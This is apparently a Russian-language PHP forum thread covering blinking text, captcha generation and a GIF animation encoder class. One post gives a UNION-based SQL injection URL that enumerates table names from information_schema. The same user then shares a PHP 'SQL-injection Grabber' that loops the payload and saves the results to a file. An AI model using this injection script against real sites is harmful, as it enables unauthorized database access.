юзать JS + SetInterval Code: var elem = getElementById('text'); elem.style.color = 'red'; Либо GIF + анимация Либо Flash
Функция imagepng —Записывает изображение на диск в формате PNG а разве формат PNG делает анимированные фото??? PNG это не подвижная графика, с возможностью не линейной загрузки . просто можно не GIF, но в результате будешь руками делать 5 фоток и менять их JS скриптом - лишняя морока которая реализована в GIF сделай GIF, анимированную и просто ссылку на неё ..
вот такой вопросик: допустим некто обнаружил гдето sql inj, http://bla-bla.com./index.php?id=-'+union+select+1,table_name+from+information_schema.tables+limit+(i),1/*; как состряпать цикл который переберал бы запросы, с каждым разом увеличивая (i), а таблички записывал бы в файл?
Есть скрипт, в нём осуществляется переход по конкретной ссылке, после перехода необходимовставить не большой java-скрипт в строку адреса и "перейти" по нему... а то, что отобразится на экране после всего этого - необходимо записать в файл... Не знаю как поступить с js. Подскажите, это вообще осуществимо в php скрипте, если да, то как?... Заранее спасибо.
ааа все ребят, я сам состряпал, всю ночь кряхтел! можете поздравить меня с моим первым php скриптом!! PHP: <?php echo "-----------------------\n"; echo "|SQL-injection Grabber|\n"; echo "|Povered by lucky_guy!|\n"; echo "-----------------------\n"; $file = "result.txt"; if (is_writable($file)) { if (!$fop = fopen($file, 'a')) { echo "Cannot open file"; exit;}} else { echo "The file file is not writable"; } for ($i=1;$i<100;$i++) { $url = fopen("http://bla-bal.com/index.php?id=5'+union+all+select+1,table_name+from+information_schema.tables+limit+$i,1/*", "r"); while (!feof($url)) { $buffer = fgets($url, 128);{ fwrite($fop, $buffer); } }} fclose($url); fclose($fop); echo "-----------------------\n"; echo "| DONE! |\n"; echo "-----------------------\n"; ?>
Не совсем понял, что тебе нужно. >необходимо вставить не большой java-скрипт в строку адреса и "перейти" по нему... header('location: '.$variable); >а то, что отобразится на экране после всего этого - необходимо записать в файл... В файл на сервере? Можно вручную выводить в файл и на stdout (юзеру). Либо читай про функцию ob_start() Насколько я помню, JS не поддерживает работу с ФС пользователя
PHP: <? session_start (); switch ($a) { case 'image': $im = @imagecreate (80, 20) or die ("Cannot initialize new GD image stream!"); $bg = imagecolorallocate ($im, 232, 238, 247); $char = $_SESSION['code']; //создаём шум на фоне for ($i=0; $i<=128; $i++) { $color = imagecolorallocate ($im, rand(0,255), rand(0,255), rand(0,255)); //задаём цвет imagesetpixel($im, rand(2,80), rand(2,20), $color); //рисуем пиксель } //выводим символы кода for ($i = 0; $i < strlen($char); $i++) { $color = imagecolorallocate ($im, rand(0,255), rand(0,128), rand(0,255)); //задаём цвет $x = 5 + $i * 20; $y = rand(1, 6); imagechar ($im, 5, $x, $y, $char[$i], $color); } /*/упрощённый вариант $color = imagecolorallocate($img, 0, 0, 0); imagestring($im, 3, 5, 3, $char, $color);*/ //антикеширование header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); //создание рисунка в зависимости от доступного формата if (function_exists("imagepng")) { header("Content-type: image/png"); imagepng($im); } elseif (function_exists("imagegif")) { header("Content-type: image/gif"); imagegif($im); } elseif (function_exists("imagejpeg")) { header("Content-type: image/jpeg"); imagejpeg($im); } else { die("No image support in this PHP server!"); } imagedestroy ($im); break; case 'submit': //проверка кода if (empty($_GET['code']) or empty($_SESSION['code'])) { echo 'Вы не указали код подтверждения'; } elseif ($_GET['code'] != $_SESSION['code']) { echo 'Код подтверждения не совпадает'; } else { echo 'Всё Ok!'; } break; default: $_SESSION['code'] = substr(md5(uniqid("")),0,4); echo '<form action="captcha.php" method="get">'. '<input type="hidden" name="a" value="submit">'. '<label for="code">Код подтверждения:</label>'. '<input type="text" id="code" name="code" size="4" maxlength="4">'. '<img align="absmiddle" src="captcha.php?a=image">'. '<input type="submit" value="Go">'. '</form>'; break; } ?> как то так
Кстати, анимированая капча = обычной картинке, т.к. всегда можно взять один из кадров и парсить его...
А если: 1й кадр - буква А 2й кадр - буква Q 3й кадр - цифра 3 введите символы на анимированом изображении. ЗЫ кадры пронумеровны в углу, для порядка, либо порядок ввода неважен
Тем самым сделать некомфортное прибывание на сайте, каптча временами сильно раздражает. Вот с анимацией вариант интересный, но всеравно найдутся библиотеки которые видят кадры и сохранят раскадровку, склеят в одно изображение и потом на антикапчу)
Безусловно, а пока.. GIFEncoder Version 2.0 PHP: <?php /* ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: :: GIFEncoder Version 2.0 by Lбszlу Zsidi, http://gifs.hu :: :: This class is a rewritten 'GifMerge.class.php' version. :: :: Modification: :: - Simplified and easy code, :: - Ultra fast encoding, :: - Built-in errors, :: - Stable working :: :: :: Updated at 2007. 02. 13. '00.05.AM' :: :: :: :: Try on-line GIFBuilder Form demo based on GIFEncoder. :: :: http://gifs.hu/phpclasses/demos/GifBuilder/ :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: */ Class GIFEncoder { var $GIF = "GIF89a"; /* GIF header 6 bytes */ var $VER = "GIFEncoder V2.05"; /* Encoder version */ var $BUF = Array ( ); var $LOP = 0; var $DIS = 2; var $COL = -1; var $IMG = -1; var $ERR = Array ( "ERR00" => "Does not supported function for only one image!", "ERR01" => "Source is not a GIF image!", "ERR02" => "Unintelligible flag ", "ERR03" => "Does not make animation from animated GIF source", ); /* ::::::::::::::::::::::::::::::::::::::::::::::::::: :: :: GIFEncoder... :: */ function GIFEncoder ( $GIF_src, $GIF_dly, $GIF_lop, $GIF_dis, $GIF_red, $GIF_grn, $GIF_blu, $GIF_mod ) { if ( ! is_array ( $GIF_src ) && ! is_array ( $GIF_dly ) ) { printf ( "%s: %s", $this->VER, $this->ERR [ 'ERR00' ] ); exit ( 0 ); } $this->LOP = ( $GIF_lop > -1 ) ? $GIF_lop : 0; $this->DIS = ( $GIF_dis > -1 ) ? ( ( $GIF_dis < 3 ) ? $GIF_dis : 3 ) : 2; $this->COL = ( $GIF_red > -1 && $GIF_grn > -1 && $GIF_blu > -1 ) ? ( $GIF_red | ( $GIF_grn << 8 ) | ( $GIF_blu << 16 ) ) : -1; for ( $i = 0; $i < count ( $GIF_src ); $i++ ) { if ( strToLower ( $GIF_mod ) == "url" ) { $this->BUF [ ] = fread ( fopen ( $GIF_src [ $i ], "rb" ), filesize ( $GIF_src [ $i ] ) ); } else if ( strToLower ( $GIF_mod ) == "bin" ) { $this->BUF [ ] = $GIF_src [ $i ]; } else { printf ( "%s: %s ( %s )!", $this->VER, $this->ERR [ 'ERR02' ], $GIF_mod ); exit ( 0 ); } if ( substr ( $this->BUF [ $i ], 0, 6 ) != "GIF87a" && substr ( $this->BUF [ $i ], 0, 6 ) != "GIF89a" ) { printf ( "%s: %d %s", $this->VER, $i, $this->ERR [ 'ERR01' ] ); exit ( 0 ); } for ( $j = ( 13 + 3 * ( 2 << ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 ) ) ), $k = TRUE; $k; $j++ ) { switch ( $this->BUF [ $i ] { $j } ) { case "!": if ( ( substr ( $this->BUF [ $i ], ( $j + 3 ), 8 ) ) == "NETSCAPE" ) { printf ( "%s: %s ( %s source )!", $this->VER, $this->ERR [ 'ERR03' ], ( $i + 1 ) ); exit ( 0 ); } break; case ";": $k = FALSE; break; } } } GIFEncoder::GIFAddHeader ( ); for ( $i = 0; $i < count ( $this->BUF ); $i++ ) { GIFEncoder::GIFAddFrames ( $i, $GIF_dly [ $i ] ); } GIFEncoder::GIFAddFooter ( ); } /* ::::::::::::::::::::::::::::::::::::::::::::::::::: :: :: GIFAddHeader... :: */ function GIFAddHeader ( ) { $cmap = 0; if ( ord ( $this->BUF [ 0 ] { 10 } ) & 0x80 ) { $cmap = 3 * ( 2 << ( ord ( $this->BUF [ 0 ] { 10 } ) & 0x07 ) ); $this->GIF .= substr ( $this->BUF [ 0 ], 6, 7 ); $this->GIF .= substr ( $this->BUF [ 0 ], 13, $cmap ); $this->GIF .= "!\377\13NETSCAPE2.0\3\1" . GIFEncoder::GIFWord ( $this->LOP ) . "\0"; } } /* ::::::::::::::::::::::::::::::::::::::::::::::::::: :: :: GIFAddFrames... :: */ function GIFAddFrames ( $i, $d ) { $Locals_str = 13 + 3 * ( 2 << ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 ) ); $Locals_end = strlen ( $this->BUF [ $i ] ) - $Locals_str - 1; $Locals_tmp = substr ( $this->BUF [ $i ], $Locals_str, $Locals_end ); $Global_len = 2 << ( ord ( $this->BUF [ 0 ] { 10 } ) & 0x07 ); $Locals_len = 2 << ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 ); $Global_rgb = substr ( $this->BUF [ 0 ], 13, 3 * ( 2 << ( ord ( $this->BUF [ 0 ] { 10 } ) & 0x07 ) ) ); $Locals_rgb = substr ( $this->BUF [ $i ], 13, 3 * ( 2 << ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 ) ) ); $Locals_ext = "!\xF9\x04" . chr ( ( $this->DIS << 2 ) + 0 ) . chr ( ( $d >> 0 ) & 0xFF ) . chr ( ( $d >> 8 ) & 0xFF ) . "\x0\x0"; if ( $this->COL > -1 && ord ( $this->BUF [ $i ] { 10 } ) & 0x80 ) { for ( $j = 0; $j < ( 2 << ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 ) ); $j++ ) { if ( ord ( $Locals_rgb { 3 * $j + 0 } ) == ( ( $this->COL >> 16 ) & 0xFF ) && ord ( $Locals_rgb { 3 * $j + 1 } ) == ( ( $this->COL >> 8 ) & 0xFF ) && ord ( $Locals_rgb { 3 * $j + 2 } ) == ( ( $this->COL >> 0 ) & 0xFF ) ) { $Locals_ext = "!\xF9\x04" . chr ( ( $this->DIS << 2 ) + 1 ) . chr ( ( $d >> 0 ) & 0xFF ) . chr ( ( $d >> 8 ) & 0xFF ) . chr ( $j ) . "\x0"; break; } } } switch ( $Locals_tmp { 0 } ) { case "!": $Locals_img = substr ( $Locals_tmp, 8, 10 ); $Locals_tmp = substr ( $Locals_tmp, 18, strlen ( $Locals_tmp ) - 18 ); break; case ",": $Locals_img = substr ( $Locals_tmp, 0, 10 ); $Locals_tmp = substr ( $Locals_tmp, 10, strlen ( $Locals_tmp ) - 10 ); break; } if ( ord ( $this->BUF [ $i ] { 10 } ) & 0x80 && $this->IMG > -1 ) { if ( $Global_len == $Locals_len ) { if ( GIFEncoder::GIFBlockCompare ( $Global_rgb, $Locals_rgb, $Global_len ) ) { $this->GIF .= ( $Locals_ext . $Locals_img . $Locals_tmp ); } else { $byte = ord ( $Locals_img { 9 } ); $byte |= 0x80; $byte &= 0xF8; $byte |= ( ord ( $this->BUF [ 0 ] { 10 } ) & 0x07 ); $Locals_img { 9 } = chr ( $byte ); $this->GIF .= ( $Locals_ext . $Locals_img . $Locals_rgb . $Locals_tmp ); } } else { $byte = ord ( $Locals_img { 9 } ); $byte |= 0x80; $byte &= 0xF8; $byte |= ( ord ( $this->BUF [ $i ] { 10 } ) & 0x07 ); $Locals_img { 9 } = chr ( $byte ); $this->GIF .= ( $Locals_ext . $Locals_img . $Locals_rgb . $Locals_tmp ); } } else { $this->GIF .= ( $Locals_ext . $Locals_img . $Locals_tmp ); } $this->IMG = 1; } /* ::::::::::::::::::::::::::::::::::::::::::::::::::: :: :: GIFAddFooter... :: */ function GIFAddFooter ( ) { $this->GIF .= ";"; } /* ::::::::::::::::::::::::::::::::::::::::::::::::::: :: :: GIFBlockCompare... :: */ function GIFBlockCompare ( $GlobalBlock, $LocalBlock, $Len ) { for ( $i = 0; $i < $Len; $i++ ) { if ( $GlobalBlock { 3 * $i + 0 } != $LocalBlock { 3 * $i + 0 } || $GlobalBlock { 3 * $i + 1 } != $LocalBlock { 3 * $i + 1 } || $GlobalBlock { 3 * $i + 2 } != $LocalBlock { 3 * $i + 2 } ) { return ( 0 ); } } return ( 1 ); } /* ::::::::::::::::::::::::::::::::::::::::::::::::::: :: :: GIFWord... :: */ function GIFWord ( $int ) { return ( chr ( $int & 0xFF ) . chr ( ( $int >> 8 ) & 0xFF ) ); } /* ::::::::::::::::::::::::::::::::::::::::::::::::::: :: :: GetAnimation... :: */ function GetAnimation ( ) { return ( $this->GIF ); } } ?> А скрипт для моей анимированной капчи выглядит так PHP: <?php include ("GIFEncoder.class.php"); $width=40; $height=20; $x[a]=4; $y[a]=-20; $x[b]=16; $y[b]=20; $x[c]=28; $y[c]=-40; $razm[a]=rand(4,5); $razm[b]=rand(4,5); $razm[c]=rand(4,5); $a=mt_rand(1,9); $b=mt_rand(1,9); $c=mt_rand(1,9); for ( $i = 0; $i < 60; $i++ ){ $image = imageCreateTrueColor ( $width, $height ); $color = imagecolorallocate ($image, 0 , rand(200,255) , 0 ); //задаём цвет //---------------------------------------------------- imagestring($image, $razm[a], $x[a] , $y[a], $a , $color ); $y[a]=$y[a]+1; //---------------------------------------------------- imagestring($image, $razm[b], $x[b] , $y[b], $b , $color ); $y[b]=$y[b]-1; //---------------------------------------------------- imagestring($image, $razm[c], $x[c] , $y[c], $c , $color ); $y[c]=$y[c]+1; //---------------------------------------------------- Ob_Start ( ); imageGif ( $image ); imageDestroy ( $image ); $f_arr [ ] = Ob_Get_Contents ( ); $d_arr [ ] = 8; Ob_End_Clean ( ); } $GIF = new GIFEncoder ( $f_arr, $d_arr, 0, 2, -1, -1, -1, "bin" ); header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: post-check=0, pre-check=0', FALSE); header('Pragma: no-cache'); header("Content-Type: image/gif"); echo $GIF->GetAnimation ( ); ?> Работает! =)